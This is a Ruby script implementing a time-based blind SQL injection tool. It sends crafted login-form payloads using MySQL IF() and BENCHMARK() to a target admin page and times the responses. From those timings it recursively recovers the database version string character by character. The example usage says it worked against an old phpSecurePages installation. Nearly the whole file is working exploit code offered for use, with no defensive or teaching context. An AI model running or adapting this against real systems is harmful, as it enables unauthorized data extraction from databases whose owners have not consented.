#!/usr/bin/ruby

require 'net/http'
require 'uri'

class SQL_timer

  # see after class definition for an example (near eof)
  # uri - can you guess what this is for?
  # params - a hash of post parameters
  # param_index - the parameter, that's going to change (the question)
  # param_nomatch - a question that will get a negative result
  # param_test - the question we are going to ask
  # compute_subst - part of the question that is going to be subsituted with
  #  the computationally expensive task
  # like_subs - the part of question where the LIKE value will be substituted
  #  into
  # alphabet - the alphabet in use (string of letters, numbers, symbols - you
  #  can't use _ or % for hopefully obvious reasons)
  def initialize(uri, params, param_index, param_nomatch, param_test, compute_subst, like_subst, alphabet)
    @uri_str = uri
    @uri = URI.parse(uri)
    @params_nomatch = params
    @params_nomatch[param_index] = param_nomatch
    @params_test = params.dup
    @params_test[param_index] = param_test
    @like_subst = like_subst
    @compute_subst = compute_subst
    @alphabet = alphabet

    calibrate
  end

  # prints out the configuration
  def print_conf
    puts "URI: " + @uri_str
    puts "Nomatch parameters: " + hash_to_s(@params_nomatch)
    puts "Test parameters: " + hash_to_s(@params_test)
    puts "Like substitution: " + @like_subst
    puts "Computation substitution: " + @compute_subst
    puts "Alphabet: " + @alphabet
  end

  # converts a hash to a more visually graspable format
  def hash_to_s (hash)
    str = "{ "
    hash.each do |key, value|
    	str += '"' + key + '" => "' + value + '", '
    end
    str.gsub!(/, $/, " }")
    return str
  end

  # prints out an array of arrays
  def array_to_s (array)
    array.each do |values|
      values.each do |value|
        print value.to_s + " "
      end
    print "\n"
    end
  end

  # measure timing time
  def calibrate
    a = Time.now
    b = Time.now
    @timetime = (b.tv_sec*10**6 + b.tv_usec)-(a.tv_sec*10**6 + a.tv_usec)
  end

  # execute bunc of queries with negative results and analyze the timing
  def false_time
    compute = generate_computation()

    count = 50
    values = []
    
    # get count data points
    for i in 1..count do
      params_nomatch = @params_nomatch.dup
      params_nomatch.each do |key, value|
        params_nomatch[key] = value.gsub(@compute_subst, compute)
      end
      values << m_time(params_nomatch)
    end

    # mean value
    mean = 0
    values.each do |value|
      mean += value
    end
    mean /= count

    # standard deviation
    stdev = 0
    values.each do |value|
      stdev += (mean-value)**2
    end
    stdev = (stdev/count)**(0.5)

    # maximum value
    max = 0
    values.each do |value|
      if value > max then
        max = value
      end
    end

    @no_match_time = mean
    @no_match_stdev = stdev
    @no_match_max_time = max

    puts "No match time: " + mean.to_s
    puts "Standard deviation: " + stdev.to_s
    puts "Maximum time: " + max.to_s
  end

  # generate the computation task for sql server
  # uses benchmark to generate number of hashes of a long string
  def generate_computation(count = 100000, func = "sha")
    return "BENCHMARK(1000," + func + "(REPEAT('a'," + count.to_s + "+" + rand(10000).to_s + ")))"
  end

  # recursive testing for matching answers
  def recurse(from = '')
    if test(from+"%") then
      puts "Taking branch: " + from
      @alphabet.each_byte do |alpha|
        recurse(from+alpha.chr)
      end
    end
  end

  # test if a string matches
  def test(like)
    compute = generate_computation()
      
    params_test = @params_test.dup
    params_test.each do |key, value|
      val = value.gsub(@like_subst, like)
      val.gsub!(@compute_subst, compute)
      params_test[key] = val
    end

    test = m_time(params_test)
    #puts "Test time for \"" + like + "\":" + test.to_s
    # the max and the 5x deviation are arbitrary. i haven't done the math
    # on this shit yet
    if test > @no_match_max_time + 5 * @no_match_stdev then
      return true
    end
    
    return false
  end

  # measure a query time in usec
  def m_time(params)
    #puts hash_to_s params
    a = Time.now
    ret = Net::HTTP.post_form(@uri, params)
    b = Time.now
    #puts ret
    return (b.tv_sec*10**6 + b.tv_usec)-(a.tv_sec*10**6 + a.tv_usec) - @timetime
  end

end

# make a timer
# ZAGARDILLA is not a likely sql server version
# this worked with an old buggy phpSecurePages installation
sqlt = SQL_timer::new("http://example.com/admin/index.php3",
  { 'entered_login' => '', 'entered_password' => 'a' },
  'entered_login',
  "0' OR 1=IF(version() = 'ZAGARDILLA', _compute_, -1) AND 1='1",
  "0' OR 1=IF(version() like '_like_', _compute_, -1) AND 1='1",
  '_compute_', '_like_',
  'abcdefghijklmnopqrstuvwxyz1234567890.-')

sqlt.print_conf
sqlt.false_time
sqlt.recurse
#sqlt.print_conf
